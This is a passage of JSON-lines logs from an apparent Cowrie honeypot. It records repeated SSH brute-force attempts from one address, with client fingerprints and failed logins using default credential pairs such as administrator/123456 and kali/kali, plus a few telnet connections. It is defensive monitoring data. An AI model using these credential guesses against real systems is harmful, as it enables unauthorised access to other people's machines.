langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:57.535724Z","src_ip":"95.38.165.118","session":"70ba55f490c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:58.025302Z","src_ip":"95.38.165.118","session":"70ba55f490c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:07:59.201918Z","src_ip":"95.38.165.118","session":"70ba55f490c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":59274,"dst_ip":"10.17.0.5","dst_port":22,"session":"86187d6227f7","protocol":"ssh","message":"New connection: 95.38.165.118:59274 (10.17.0.5:22) [session: 86187d6227f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:04.413819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:04.420542Z","src_ip":"95.38.165.118","session":"86187d6227f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:04.585188Z","src_ip":"95.38.165.118","session":"86187d6227f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:05.787395Z","src_ip":"95.38.165.118","session":"86187d6227f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":54338,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa9042cc1581","protocol":"ssh","message":"New connection: 95.38.165.118:54338 (10.17.0.5:22) [session: fa9042cc1581]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:07.344097Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:07.348907Z","src_ip":"95.38.165.118","session":"fa9042cc1581","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:07.517780Z","src_ip":"95.38.165.118","session":"fa9042cc1581","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:08.030450Z","src_ip":"95.38.165.118","session":"fa9042cc1581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:09.635770Z","src_ip":"95.38.165.118","session":"fa9042cc1581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":54344,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2ccce2dec70","protocol":"ssh","message":"New connection: 95.38.165.118:54344 (10.17.0.5:22) [session: b2ccce2dec70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:13.117193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:13.207767Z","src_ip":"95.38.165.118","session":"b2ccce2dec70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:13.300225Z","src_ip":"95.38.165.118","session":"b2ccce2dec70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":35706,"dst_ip":"159.203.135.109","dst_port":23,"session":"e990a648026a","protocol":"telnet","message":"New connection: 69.4.83.194:35706 (159.203.135.109:23) [session: e990a648026a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:13.416954Z"}
{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:15.390128Z","src_ip":"95.38.165.118","session":"86187d6227f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.177.194.30","src_port":42578,"dst_ip":"10.17.0.5","dst_port":23,"session":"67b1a3d11257","protocol":"telnet","message":"New connection: 60.177.194.30:42578 (10.17.0.5:23) [session: 67b1a3d11257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:16.503033Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":54204,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a845997cafc","protocol":"ssh","message":"New connection: 95.38.165.118:54204 (10.17.0.5:22) [session: 4a845997cafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:17.505055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:17.549586Z","src_ip":"95.38.165.118","session":"4a845997cafc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:18.372028Z","src_ip":"95.38.165.118","session":"4a845997cafc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kali","password":"kali","message":"login attempt [kali/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:20.198788Z","src_ip":"95.38.165.118","session":"4a845997cafc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.12261962890625,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:20.559108Z","src_ip":"69.4.83.194","session":"2bd20163b3dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:21.496130Z","src_ip":"95.38.165.118","session":"4a845997cafc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":54210,"dst_ip":"10.17.0.5","dst_port":22,"session":"05f4a595b033","protocol":"ssh","message":"New connection: 95.38.165.118:54210 (10.17.0.5:22) [session: 05f4a595b033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:23.363387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:23.368688Z","src_ip":"95.38.165.118","session":"05f4a595b033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:23.536070Z","src_ip":"95.38.165.118","session":"05f4a595b033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser","message":"login attempt [esuser/esuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:23.646921Z","src_ip":"95.38.165.118","session":"b2ccce2dec70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:26.398533Z","src_ip":"95.38.165.118","session":"b2ccce2dec70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"12345","message":"login attempt [minecraft/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:26.592541Z","src_ip":"95.38.165.118","session":"05f4a595b033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":35840,"dst_ip":"10.17.0.5","dst_port":22,"session":"b11f32c58a7a","protocol":"ssh","message":"New connection: 95.38.165.118:35840 (10.17.0.5:22) [session: b11f32c58a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:27.305888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:27.311065Z","src_ip":"95.38.165.118","session":"b11f32c58a7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:27.481294Z","src_ip":"95.38.165.118","session":"b11f32c58a7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.890352010726929,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:29.393254Z","src_ip":"60.177.194.30","session":"67b1a3d11257","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:29.986794Z","src_ip":"95.38.165.118","session":"b11f32c58a7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:30.816885Z","src_ip":"95.38.165.118","session":"05f4a595b033","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:32.000314Z","src_ip":"95.38.165.118","session":"b11f32c58a7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":35850,"dst_ip":"10.17.0.5","dst_port":22,"session":"3266b41d7520","protocol":"ssh","message":"New connection: 95.38.165.118:35850 (10.17.0.5:22) [session: 3266b41d7520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:32.269675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:32.669035Z","src_ip":"95.38.165.118","session":"3266b41d7520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:32.672904Z","src_ip":"95.38.165.118","session":"3266b41d7520","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:34.788670Z","src_ip":"95.38.165.118","session":"3266b41d7520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":55046,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b140548894f","protocol":"ssh","message":"New connection: 95.38.165.118:55046 (10.17.0.5:22) [session: 2b140548894f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:37.686078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:37.690620Z","src_ip":"95.38.165.118","session":"2b140548894f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:37.864758Z","src_ip":"95.38.165.118","session":"2b140548894f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.8","message":"Connection lost after 5.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:08:38.043651Z","src_ip":"95.38.165.118","session":"3266b41d7520","protocol":"ssh"}
